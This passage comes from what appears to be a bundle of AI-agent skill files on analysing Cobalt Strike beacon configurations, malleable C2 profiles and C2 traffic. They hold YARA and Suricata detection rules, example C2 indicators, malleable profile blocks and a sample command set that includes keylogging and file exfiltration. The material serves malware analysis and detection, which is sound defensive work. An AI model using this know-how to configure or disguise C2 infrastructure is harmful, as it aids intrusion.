**Hunt**: Search for named pipe and spawn-to process in endpoint logs\n3. **Detect**: Deploy YARA and network signatures to detection stack\n4. **Correlate**: Check watermark against threat intelligence databases\n","skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md":"# API Reference: Cobalt Strike Beacon Configuration Analysis\n\n## Beacon Config TLV Format\n\n### Structure\n```\n[Field ID: 2 bytes][Type: 2 bytes][Value: variable]\nType 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data)\n```\n\n### XOR Encoding\n| Version | XOR Key |\n|---------|---------|\n| CS 3.x | `0x69` |\n| CS 4.x | `0x2E` |\n\n### Key Configuration Fields\n| ID | Name | Description |\n|----|------|-------------|\n| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS |\n| 2 | Port | C2 communication port |\n| 3 | SleepTime | Beacon interval (ms) |\n| 5 | Jitter | Random sleep variation (%) |\n| 7 | PublicKey | RSA public key for encryption |\n| 8 | C2Server | Command and control server(s) |\n| 9 | UserAgent | HTTP User-Agent string |\n| 10 | PostURI | POST callback URI |\n| 37 | Watermark | License watermark (operator ID) |\n| 54 | PipeName | Named pipe for SMB beacons |\n\n## 1768.py (Didier Stevens) - Config Extractor\n\n### Syntax\n```bash\npython 1768.py <beacon_file>           # Extract config\npython 1768.py -j <beacon_file>        # JSON output\npython 1768.py -r <beacon_file>        # Raw config dump\n```\n\n## CobaltStrikeParser (SentinelOne)\n\n### Syntax\n```bash\npython parse_beacon_config.py <file>\npython parse_beacon_config.py --json <file>\n```\n\n### Output Fields\n```\nBeaconType:        HTTPS\nPort:              443\nSleepTime:         60000\nJitter:            37\nC2Server:          update.microsoft-cdn.com,/api/v2\nUserAgent:         Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nWatermark:         305419896\nSpawnToX86:        %windir%\\syswow64\\dllhost.exe\nSpawnToX64:        %windir%\\sysnative\\dllhost.exe\n```\n\n## JARM Fingerprinting\n\n### Cobalt Strike Default JARM\n```bash\n# Default CS JARM hash (pre-4.7)\n07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1\n\n# Scan with JARM\npython jarm.py <target_ip> -p 443\n```\n\n## Known Watermark Values\n| Watermark | Attribution |\n|-----------|------------|\n| 0 | Trial/cracked version |\n| 305419896 | Common cracked version |\n| 1359593325 | Known threat actor toolkit |\n| 1580103824 | Known APT usage |\n\n## Detection Signatures\n\n### Suricata\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"ET MALWARE Cobalt Strike Beacon\";\n    content:\"/submit.php\"; http_uri;\n    content:\"Cookie:\"; http_header;\n    pcre:\"/Cookie:\\s[A-Za-z0-9+/=]{60,}/H\";\n    sid:2028591; rev:1;)\n```\n\n### YARA\n```yara\nrule CobaltStrike_Beacon {\n    strings:\n        $config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 }\n        $magic = \"MSSE-%d-server\"\n        $pipe = \"\\\\\\\\.\\\\pipe\\\\msagent_\"\n    condition:\n        uint16(0) == 0x5A4D and any of them\n}\n```\n\n## Malleable C2 Profile Elements\n| Element | Description |\n|---------|-------------|\n| `http-get` | GET request profile (URI, headers, metadata transform) |\n| `http-post` | POST request profile (URI, body transform) |\n| `set sleeptime` | Default beacon interval |\n| `set jitter` | Randomization percentage |\n| `set useragent` | HTTP User-Agent |\n| `set pipename` | SMB named pipe name |\n","skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md":"# Standards and Frameworks Reference\n\n## Cobalt Strike Beacon Configuration Fields\n\n### Configuration TLV Types\n| Type ID | Field Name | Data Type | Description |\n|---------|-----------|-----------|-------------|\n| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind |\n| 0x0002 | Port | Short | C2 communication port |\n| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds |\n| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) |\n| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs |\n| 0x0009 | UserAgent | String | HTTP User-Agent header value |\n| 0x000a | PostURI | String | URI for HTTP POST requests |\n| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex |\n| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex |\n| 0x001a | Watermark | Int | License watermark identifier |\n| 0x0024 | PipeName | String | Named pipe for SMB beacon |\n| 0x001d | HostHeader | String | HTTP Host header value |\n| 0x0032 | ProxyHostname | String | Proxy server address |\n\n### XOR Encoding Scheme\n- **Cobalt Strike 3.x**: XOR key = 0x69\n- **Cobalt Strike 4.x**: XOR key = 0x2e\n- Configuration blob size: 4096 bytes (typical)\n- Encoding: Single-byte XOR across entire config blob\n\n### Stageless Beacon Structure\n- PE with beacon code in .data section\n- 4-byte XOR key applied to .data section content\n- Configuration embedded after beacon code\n- Reflective DLL loader prepended to beacon\n\n## MITRE ATT&CK Mappings\n\n### Cobalt Strike Techniques (S0154)\n| Technique | ID | Description |\n|-----------|-----|------------|\n| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication |\n| Encrypted Channel | T1573.002 | AES-256 encrypted C2 |\n| Ingress Tool Transfer | T1105 | Download additional payloads |\n| Process Injection | T1055 | Inject into spawned processes |\n| Named Pipes | T1570 | SMB beacon lateral movement |\n| Service Execution | T1569.002 | PSExec-style lateral movement |\n| Reflective Code Loading | T1620 | In-memory beacon loading |\n\n## Malleable C2 Profile Structure\n\n### HTTP GET Block\n```\nhttp-get {\n    set uri \"/path\";\n    client {\n        header \"Accept\" \"text/html\";\n        metadata {\n            base64url;\n            prepend \"session=\";\n            header \"Cookie\";\n        }\n    }\n    server {\n        header \"Content-Type\" \"text/html\";\n        output {\n            print;\n        }\n    }\n}\n```\n\n### HTTP POST Block\n```\nhttp-post {\n    set uri \"/submit\";\n    client {\n        id {\n            uri-append;\n        }\n        output {\n            base64;\n            print;\n        }\n    }\n    server {\n        output {\n            print;\n        }\n    }\n}\n```\n\n## References\n- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/)\n- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)\n- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/)\n","skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md":"# Cobalt Strike Beacon Analysis Workflows\n\n## Workflow 1: PE File Configuration Extraction\n\n```\n[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt]\n                                                                          |\n                                                                          v\n                                                                  [Parse TLV Config]\n                                                                          |\n                                                                          v\n                                                              [Extract C2 Indicators]\n```\n\n### Steps:\n1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection\n2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker)\n3. **Section Analysis**: Locate .data section containing XOR'd beacon code\n4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key\n5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings\n6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks\n\n## Workflow 2: Memory Dump Beacon Extraction\n\n```\n[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config]\n                                                                            |\n                                                                            v\n                                                                   [C2 Infrastructure Map]\n```\n\n### Steps:\n1. **Acquisition**: Capture memory dump from compromised system\n2. **Process Scan**: Use Volatility3 to identify suspicious processes\n3. **Injection Detection**: Use malfind to find RWX memory regions\n4. **Region Extraction**: Dump injected memory regions to files\n5. **Config Search**: Scan dumps for beacon configuration signatures\n6. **Infrastructure Mapping**: Correlate extracted C2 with network logs\n\n## Workflow 3: Watermark Attribution\n\n```\n[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution]\n                                                                               |\n                                                                               v\n                                                                     [Campaign Correlation]\n```\n\n### Steps:\n1. **Collection**: Gather beacon samples from incident or threat intel feeds\n2. **Watermark Extraction**: Extract watermark value from each sample\n3. **Database Lookup**: Check watermark against known databases\n4. **Clustering**: Group beacons sharing the same watermark\n5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster\n6. **Attribution Assessment**: Link to known threat actor or cracked license\n\n## Workflow 4: C2 Traffic Detection\n\n```\n[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS]\n                                                                            |\n                                                                            v\n                                                                   [Monitor Network Traffic]\n```\n\n### Steps:\n1. **Profile Extraction**: Parse malleable C2 profile from beacon config\n2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding\n3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns\n4. **Deployment**: Deploy signatures to network detection infrastructure\n5. **Validation**: Test signatures against captured beacon traffic\n6. **Monitoring**: Alert on matching network flows for active beacons\n","skills/analyzing-cobaltstrike-malleable-c2-profiles/SKILL.md":"---\nname: analyzing-cobaltstrike-malleable-c2-profiles\ndescription: Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- malleable-c2\n- c2-detection\n- beacon-analysis\n- network-signatures\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.002\n- T1001.003\n- T1090.004\n- T1102\n---\n# Analyzing CobaltStrike Malleable C2 Profiles\n\n## Overview\n\nCobalt Strike Malleable C2 profiles are domain-specific language scripts that customize how Beacon communicates with the team server, defining HTTP request/response transformations, sleep intervals, jitter values, user agents, URI paths, and process injection behavior. Threat actors use malleable profiles to disguise C2 traffic as legitimate services (Amazon, Google, Slack). Analyzing these profiles reveals network indicators for detection: URI patterns, HTTP headers, POST/GET transforms, DNS settings, and process injection techniques. The `dissect.cobaltstrike` library can parse both profile files and extract configurations from beacon payloads, while `pyMalleableC2` provides AST-based parsing using Lark grammar for programmatic profile manipulation and validation.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobaltstrike malleable c2 profiles\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike` and/or `pyMalleableC2`\n- Sample Malleable C2 profiles (available from public repositories)\n- Understanding of HTTP protocol and Cobalt Strike beacon communication model\n- Network monitoring tools (Suricata/Snort) for signature deployment\n- PCAP analysis tools for traffic validation\n\n## Steps\n\n1. Install libraries: `pip install dissect.cobaltstrike` or `pip install pyMalleableC2`\n2. Parse profile with `C2Profile.from_path(\"profile.profile\")`\n3. Extract HTTP GET/POST block configurations (URIs, headers, parameters)\n4. Identify user agent strings and spoof targets\n5. Extract sleep time, jitter percentage, and DNS beacon settings\n6. Analyze process injection settings (spawn-to, allocation technique)\n7. Generate Suricata/Snort signatures from extracted network indicators\n8. Compare profile against known threat actor profile collections\n9. Extract staging URIs and payload delivery mechanisms\n10. Produce detection report with IOCs and recommended network signatures\n\n## Expected Output\n\nA JSON report containing extracted C2 URIs, HTTP headers, user agents, sleep/jitter settings, process injection config, spawned process paths, DNS settings, and generated Suricata-compatible detection rules.\n","skills/analyzing-cobaltstrike-malleable-c2-profiles/references/api-reference.md":"# CobaltStrike Malleable C2 Profile Analysis API Reference\n\n## Installation\n\n```bash\npip install dissect.cobaltstrike\npip install 'dissect.cobaltstrike[full]'   # With PCAP support\npip install pyMalleableC2                   # Alternative parser\n```\n\n## dissect.cobaltstrike API\n\n### Parse Beacon Configuration\n```python\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\nbconfig = BeaconConfig.from_path(\"beacon.bin\")\nprint(hex(bconfig.watermark))     # 0x5109bf6d\nprint(bconfig.protocol)           # https\nprint(bconfig.version)            # BeaconVersion(...)\nprint(bconfig.settings)           # Full config dict\n```\n\n### Parse Malleable C2 Profile\n```python\nfrom dissect.cobaltstrike.c2profile import C2Profile\n\nprofile = C2Profile.from_path(\"amazon.profile\")\nconfig = profile.as_dict()\nprint(config[\"useragent\"])\nprint(config[\"http-get.uri\"])\nprint(config[\"sleeptime\"])\n```\n\n### PCAP Analysis\n```bash\n# Extract beacons from PCAP\nbeacon-pcap --extract-beacons traffic.pcap\n\n# Decrypt traffic with private key\nbeacon-pcap -p team_server.pem traffic.pcap --beacon beacon.bin\n```\n\n## pyMalleableC2 API\n\n```python\nfrom malleableC2 import Profile\n\nprofile = Profile.from_file(\"amazon.profile\")\nprint(profile.sleeptime)\nprint(profile.useragent)\nprint(profile.http_get.uri)\nprint(profile.http_post.uri)\n```\n\n## Key Profile Settings\n\n| Setting | Description | Detection Value |\n|---------|-------------|-----------------|\n| `sleeptime` | Callback interval (ms) | Low values = aggressive beaconing |\n| `jitter` | Sleep randomization % | Timing analysis evasion |\n| `useragent` | HTTP User-Agent string | Network signature |\n| `http-get.uri` | GET request URI path | URI-based detection |\n| `http-post.uri` | POST request URI path | URI-based detection |\n| `spawnto_x86` | 32-bit spawn process | Process creation detection |\n| `spawnto_x64` | 64-bit spawn process | Process creation detection |\n| `pipename` | Named pipe pattern | Named pipe monitoring |\n| `dns_idle` | DNS idle IP address | DNS beacon detection |\n| `watermark` | License watermark | Operator attribution |\n\n## Suricata Rule Format\n\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n  msg:\"MALWARE CobaltStrike C2 URI\";\n  flow:established,to_server;\n  http.uri; content:\"/api/v1/status\";\n  http.header; content:\"User-Agent: Mozilla/5.0\";\n  sid:9000001; rev:1;\n)\n```\n\n## CLI Usage\n\n```bash\npython agent.py --input profile.profile --output report.json\npython agent.py --input parsed_config.json --output report.json\n```\n\n## References\n\n- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike\n- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2\n- Unit42 Analysis: https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/\n- Config Extractor: https://github.com/strozfriedberg/cobaltstrike-config-extractor\n","skills/analyzing-command-and-control-communication/SKILL.md":"---\nname: analyzing-command-and-control-communication\ndescription: 'Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom\n  protocols to reverse-engineer beacon patterns, command structures, data encoding,\n  and infrastructure (primary servers, fallback domains, dead drops). Use after\n  reverse engineering reveals network traffic needing protocol analysis or when\n  building detection signatures for a framework like Cobalt Strike, Metasploit,\n  or Sliver.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- C2\n- command-and-control\n- beacon\n- protocol-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573\n- T1571\n- T1008\n- T1095\n---\n\n# Analyzing Command-and-Control Communication\n\n## When to Use\n\n- Reverse engineering a malware sample has revealed network communication that needs protocol analysis\n- Building network-level detection signatures for a specific C2 framework (Cobalt Strike, Metasploit, Sliver)\n- Mapping C2 infrastructure including primary servers, fallback domains, and dead drops\n- Analyzing encrypted or encoded C2 traffic to understand the command set and data format\n- Attributing malware to a threat actor based on C2 infrastructure patterns and tooling\n\n**Do not use** for general network anomaly detection; this is specifically for understanding known or suspected C2 protocols from malware analysis.\n\n## Prerequisites\n\n- PCAP capture of malware network traffic (from sandbox, network tap, or full packet capture)\n- Wireshark/tshark for packet-level analysis\n- Reverse engineering tools (Ghidra, dnSpy) for understanding C2 code in the malware binary\n- Python 3.8+ with `scapy`, `dpkt`, and `requests` for protocol analysis and replay\n- Threat intelligence databases for C2 infrastructure correlation (VirusTotal, Shodan, Censys)\n- JA3/JA3S fingerprint databases for TLS-based C2 identification\n\n## Workflow\n\n### Step 1: Identify the C2 Channel\n\nDetermine the protocol and transport used for C2 communication:\n\n```\nC2 Communication Channels:\n━━━━━━━━━━━━━━━━━━━━━━━━━\nHTTP/HTTPS:     Most common; uses standard web traffic to blend in\n                Indicators: Regular POST/GET requests, specific URI patterns, custom headers\n\nDNS:            Tunneling data through DNS queries and responses\n                Indicators: High-volume TXT queries, long subdomain names, high entropy\n\nCustom TCP/UDP: Proprietary binary protocol on non-standard port\n                Indicators: Non-HTTP traffic on high ports, unknown protocol\n\nICMP:           Data encoded in ICMP echo/reply payloads\n                Indicators: ICMP packets with large or non-standard payloads\n\nWebSocket:      Persistent bidirectional connection for real-time C2\n                Indicators: WebSocket upgrade followed by binary frames\n\nCloud Services: Using legitimate APIs (Telegram, Discord, Slack, GitHub)\n                Indicators: API calls to cloud services from unexpected processes\n\nEmail:          SMTP/IMAP for C2 commands and data exfiltration\n                Indicators: Automated email operations from non-email processes\n```\n\n### Step 2: Analyze Beacon Pattern\n\nCharacterize the periodic communication pattern:\n\n```python\nfrom scapy.all import rdpcap, IP, TCP\nfrom collections import defaultdict\nimport statistics\nimport json\n\npackets = rdpcap(\"c2_traffic.pcap\")\n\n# Group TCP SYN packets by destination\nconnections = defaultdict(list)\nfor pkt in packets:\n    if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02):\n        key = f\"{pkt[IP].dst}:{pkt[TCP].dport}\"\n        connections[key].append(float(pkt.time))\n\n# Analyze each destination for beaconing\nfor dst, times in sorted(connections.items()):\n    if len(times) < 3:\n        continue\n\n    intervals = [times[i+1] - times[i] for i in range(len(times)-1)]\n    avg_interval = statistics.mean(intervals)\n    stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0\n    jitter_pct = (stdev / avg_interval * 100) if avg_interval > 0 else 0\n    duration = times[-1] - times[0]\n\n    beacon_data = {\n        \"destination\": dst,\n        \"connections\": len(times),\n        \"duration_seconds\": round(duration, 1),\n        \"avg_interval_seconds\": round(avg_interval, 1),\n        \"stdev_seconds\": round(stdev, 1),\n        \"jitter_percent\": round(jitter_pct, 1),\n        \"is_beacon\": 5 < avg_interval < 7200 and jitter_pct < 25,\n    }\n\n    if beacon_data[\"is_beacon\"]:\n        print(f\"[!] BEACON DETECTED: {dst}\")\n        print(f\"    Interval: {avg_interval:.0f}s +/- {stdev:.0f}s ({jitter_pct:.0f}% jitter)\")\n        print(f\"    Sessions: {len(times)} over {duration:.0f}s\")\n```\n\n### Step 3: Decode C2 Protocol Structure\n\nReverse engineer the message format from captured traffic:\n\n```python\n# HTTP-based C2 protocol analysis\nimport dpkt\nimport base64\n\nwith open(\"c2_traffic.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n\nfor ts, buf in pcap:\n    eth = dpkt.ethernet.Ethernet(buf)\n    if not isinstance(eth.data, dpkt.ip.IP):\n        continue\n    ip = eth.data\n    if not isinstance(ip.data, dpkt.tcp.TCP):\n        continue\n    tcp = ip.data\n\n    if tcp.dport == 80 or tcp.dport == 443:\n        if len(tcp.data) > 0:\n            try:\n                http = dpkt.http.Request(tcp.data)\n                print(f\"\\n--- C2 REQUEST ---\")\n                print(f\"Method: {http.method}\")\n                print(f\"URI: {http.uri}\")\n                print(f\"Headers: {dict(http.headers)}\")\n                if http.body:\n                    print(f\"Body ({len(http.body)} bytes):\")\n                    # Try Base64 decode\n                    try:\n                        decoded = base64.b64decode(http.body)\n                        print(f\"  Decoded: {decoded[:200]}\")\n                    except:\n                        print(f\"  Raw: {http.body[:200]}\")\n            except:\n                pass\n```\n\n### Step 4: Identify C2 Framework\n\nMatch observed patterns to known C2 frameworks:\n\n```\nKnown C2 Framework Signatures:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nCobalt Strike:\n  - Default URIs: /pixel, /submit.php, /___utm.gif, /ca, /dpixel\n  - Malleable C2 profiles customize all traffic characteristics\n  - JA3: varies by profile, catalog at ja3er.com\n  - Watermark in beacon config (unique per license)\n  - Config extraction: use CobaltStrikeParser or 1768.py\n\nMetasploit/Meterpreter:\n  - Default staging URI patterns: random 4-char checksum\n  - Reverse HTTP(S) handler patterns\n  - Meterpreter TLV (Type-Length-Value) protocol structure\n\nSliver:\n  - mTLS, HTTP, DNS, WireGuard transport options\n  - Protobuf-encoded messages\n  - Unique implant ID in communication\n\nCovenant:\n  - .NET-based C2 framework\n  - HTTP with customizable profiles\n  - Task-based command execution\n\nPoshC2:\n  - PowerShell/C# based\n  - HTTP with encrypted payloads\n  - Cookie-based session management\n```\n\n```bash\n# Extract Cobalt Strike beacon configuration from PCAP or sample\npython3 << 'PYEOF'\n# Using CobaltStrikeParser (pip install cobalt-strike-parser)\nfrom cobalt_strike_parser import BeaconConfig\n\ntry:\n    config = BeaconConfig.from_file(\"suspect.exe\")\n    print(\"Cobalt Strike Beacon Configuration:\")\n    for key, value in config.items():\n        print(f\"  {key}: {value}\")\nexcept Exception as e:\n    print(f\"Not a Cobalt Strike beacon or parse error: {e}\")\nPYEOF\n```\n\n### Step 5: Map C2 Infrastructure\n\nDocument the full C2 infrastructure and failover mechanisms:\n\n```python\n# Infrastructure mapping\nimport requests\nimport json\n\nc2_indicators = {\n    \"primary_c2\": \"185.220.101.42\",\n    \"domains\": [\"update.malicious.com\", \"backup.evil.net\"],\n    \"ports\": [443, 8443],\n    \"failover_dns\": [\"ns1.malicious-dns.com\"],\n}\n\n# Enrich with Shodan\ndef shodan_lookup(ip, api_key):\n    resp = requests.get(f\"https://api.shodan.io/shodan/host/{ip}?key={api_key}\")\n    if resp.status_code == 200:\n        data = resp.json()\n        return {\n            \"ip\": ip,\n            \"ports\": data.get(\"ports\", []),\n            \"os\": data.get(\"os\"),\n            \"org\": data.get(\"org\"),\n            \"asn\": data.get(\"asn\"),\n            \"country\": data.get(\"country_code\"),\n            \"hostnames\": data.get(\"hostnames\", []),\n            \"last_update\": data.get(\"last_update\"),\n        }\n    return None\n\n# Enrich with passive DNS\ndef pdns_lookup(domain):\n    # Using VirusTotal passive DNS\n    resp = requests.get(\n        f\"https://www.virustotal.com/api/v3/domains/{domain}/resolutions\",\n        headers={\"x-apikey\": VT_API_KEY}\n    )\n    if resp.status_code == 200:\n        data = resp.json()\n        resolutions = []\n        for r in data.get(\"data\", []):\n            resolutions.append({\n                \"ip\": r[\"attributes\"][\"ip_address\"],\n                \"date\": r[\"attributes\"][\"date\"],\n            })\n        return resolutions\n    return []\n```\n\n### Step 6: Create Network Detection Signatures\n\nBuild detection rules based on analyzed C2 characteristics:\n\n```bash\n# Suricata rules for the analyzed C2\ncat << 'EOF' > c2_detection.rules\n# HTTP beacon pattern\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX C2 HTTP Beacon\";\n    flow:established,to_server;\n    http.method; content:\"POST\";\n    http.uri; content:\"/gate.php\"; startswith;\n    http.header; content:\"User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)\";\n    threshold:type threshold, track by_src, count 5, seconds 600;\n    sid:9000010; rev:1;\n)\n\n# JA3 fingerprint match\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX TLS JA3 Fingerprint\";\n    ja3.hash; content:\"a0e9f5d64349fb13191bc781f81f42e1\";\n    sid:9000011; rev:1;\n)\n\n# DNS beacon detection (high-entropy subdomain)\nalert dns $HOME_NET any -> any any (\n    msg:\"MALWARE Suspected DNS C2 Tunneling\";\n    dns.query; pcre:\"/^[a-z0-9]{20,}\\./\";\n    threshold:type threshold, track by_src, count 10, seconds 60;\n    sid:9000012; rev:1;\n)\n\n# Certificate-based detection\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX Self-Signed C2 Certificate\";\n    tls.cert_subject; content:\"CN=update.malicious.com\";\n    sid:9000013; rev:1;\n)\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Beaconing** | Periodic check-in communication from malware to C2 server at regular intervals, often with jitter to avoid pattern detection |\n| **Jitter** | Randomization applied to beacon interval (e.g., 60s +/- 15%) to make the timing pattern less predictable and harder to detect |\n| **Malleable C2** | Cobalt Strike feature allowing operators to customize all aspects of C2 traffic (URIs, headers, encoding) to mimic legitimate services |\n| **Dead Drop** | Intermediate location (paste site, cloud storage, social media) where C2 commands are posted for the malware to retrieve |\n| **Domain Fronting** | Using a trusted CDN domain in the TLS SNI while routing to a different backend, making C2 traffic appear to go to a legitimate service |\n| **Fast Flux** | Rapidly changing DNS records for C2 domains to distribute across many IPs and resist takedown efforts |\n| **C2 Framework** | Software toolkit providing C2 server, implant generator, and operator interface (Cobalt Strike, Metasploit, Sliver, Covenant) |\n\n## Tools & Systems\n\n- **Wireshark**: Packet analyzer for detailed C2 protocol analysis at the packet level\n- **RITA (Real Intelligence Threat Analytics)**: Open-source tool analyzing Zeek logs for beacon detection and DNS tunneling\n- **CobaltStrikeParser**: Tool extracting Cobalt Strike beacon configuration from samples and memory dumps\n- **JA3/JA3S**: TLS fingerprinting method for identifying C2 frameworks by their TLS implementation characteristics\n- **Shodan/Censys**: Internet scanning platforms for mapping C2 infrastructure and identifying related servers\n\n## Common Scenarios\n\n### Scenario: Reverse Engineering a Custom C2 Protocol\n\n**Context**: A malware sample communicates with its C2 server using an unknown binary protocol over TCP port 8443. The protocol needs to be decoded to understand the command set and build detection signatures.\n\n**Approach**:\n1. Filter PCAP for TCP port 8443 conversations and extract the TCP streams\n2. Analyze the first few exchanges to identify the handshake/authentication mechanism\n3. Map the message structure (length prefix, type field, payload encoding)\n4. Cross-reference with Ghidra disassembly of the send/receive functions in the malware\n5. Identify the command dispatcher and document each command code's function\n6. Build a protocol decoder in Python for ongoing traffic analysis\n7. Create Suricata rules matching the protocol handshake or static header bytes\n\n**Pitfalls**:\n- Assuming the protocol is static; some C2 frameworks negotiate encryption during the handshake\n- Not capturing enough traffic to see all command types (some commands are rare)\n- Missing fallback C2 channels (DNS, ICMP) that activate when the primary channel fails\n- Confusing encrypted payload data with the protocol framing structure\n\n## Output Format\n\n```\nC2 COMMUNICATION ANALYSIS REPORT\n===================================\nSample:           malware.exe (SHA-256: e3b0c44...)\nC2 Framework:     Cobalt Strike 4.9\n\nBEACON CONFIGURATION\nC2 Server:        hxxps://185.220.101[.]42/updates\nBeacon Type:      HTTPS (reverse)\nSleep:            60 seconds\nJitter:           15%\nUser-Agent:       Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nURI (GET):        /dpixel\nURI (POST):       /submit.php\nWatermark:        1234567890\n\nPROTOCOL ANALYSIS\nTransport:        HTTPS (TLS 1.2)\nJA3 Hash:         a0e9f5d64349fb13191bc781f81f42e1\nCertificate:      CN=Microsoft Update (self-signed)\nEncoding:         Base64 with XOR key 0x69\nCommand Format:   [4B length][4B command_id][payload]\n\nCOMMAND SET\n0x01 - Sleep          Change beacon interval\n0x02 - Shell          Execute cmd.exe command\n0x03 - Download       Transfer file from C2\n0x04 - Upload         Exfiltrate file to C2\n0x05 - Inject         Process injection\n0x06 - Keylog         Start keylogger\n0x07 - Screenshot     Capture screen\n\nINFRASTRUCTURE\nPrimary:          185.220.101[.]42 (AS12345, Hosting Co, NL)\nFailover:         91.215.85[.]17 (AS67890, VPS Provider, RU)\nDNS:              update.malicious[.]com -> 185.220.101[.]42\nRegistrar:        NameCheap\nRegistration:     2025-09-01\n\nDETECTION SIGNATURES\nSID 9000010:      HTTP beacon pattern\nSID 9000011:      JA3 TLS fingerprint\nSID 9000013:      C2 certificate match\n```\n","skills/analyzing-command-and-control-communication/references/api-reference.md":"# API Reference: C2 Communication Analysis Tools\n\n## Scapy - Packet Analysis Library (Python)\n\n### Reading PCAPs\n```python\nfrom scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR\npackets = rdpcap(\"capture.pcap\")\n```\n\n### Filtering Packets\n```python\n# TCP SYN packets (connection initiation)\nsyn_pkts = [p for p in packets if TCP in p and (p[TCP].flags & 0x02)]\n\n# DNS queries\ndns_pkts = [p for p in packets if DNS in p and p[DNS].qr == 0]\n\n# Access fields\npkt[IP].src        # Source IP\npkt[IP].dst        # Destination IP\npkt[TCP].sport     # Source port\npkt[TCP].dport     # Destination port\npkt[TCP].flags     # TCP flags (0x02 = SYN)\nfloat(pkt.time)    # Packet timestamp\n```\n\n## dpkt - Packet Parsing Library (Python)\n\n### Reading PCAPs\n```python\nimport dpkt\nwith open(\"capture.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n    for timestamp, buf in pcap:\n        eth = dpkt.ethernet.Ethernet(buf)\n        ip = eth.data\n        tcp = ip.data\n```\n\n### HTTP Request Parsing\n```python\nhttp = dpkt.http.Request(tcp.data)\nhttp.method     # GET, POST\nhttp.uri        # /path\nhttp.headers    # dict of headers\nhttp.body       # POST body\n```\n\n## tshark - CLI Wireshark\n\n### Beacon Analysis\n```bash\ntshark -r capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.time_epoch \\\n  -Y \"tcp.flags.syn==1\" > syn_times.csv\n```\n\n### HTTP Extraction\n```bash\ntshark -r capture.pcap -Y \"http.request\" -T fields \\\n  -e http.request.method -e http.host -e http.request.uri -e http.user_agent\n```\n\n### DNS Extraction\n```bash\ntshark -r capture.pcap -Y \"dns.qr==0\" -T fields \\\n  -e dns.qry.name -e dns.qry.type -e ip.src\n```\n\n### JA3 TLS Fingerprinting\n```bash\ntshark -r capture.pcap -Y \"tls.handshake.type==1\" -T fields \\\n  -e ip.src -e tls.handshake.ja3\n```\n\n## CobaltStrikeParser - Beacon Config 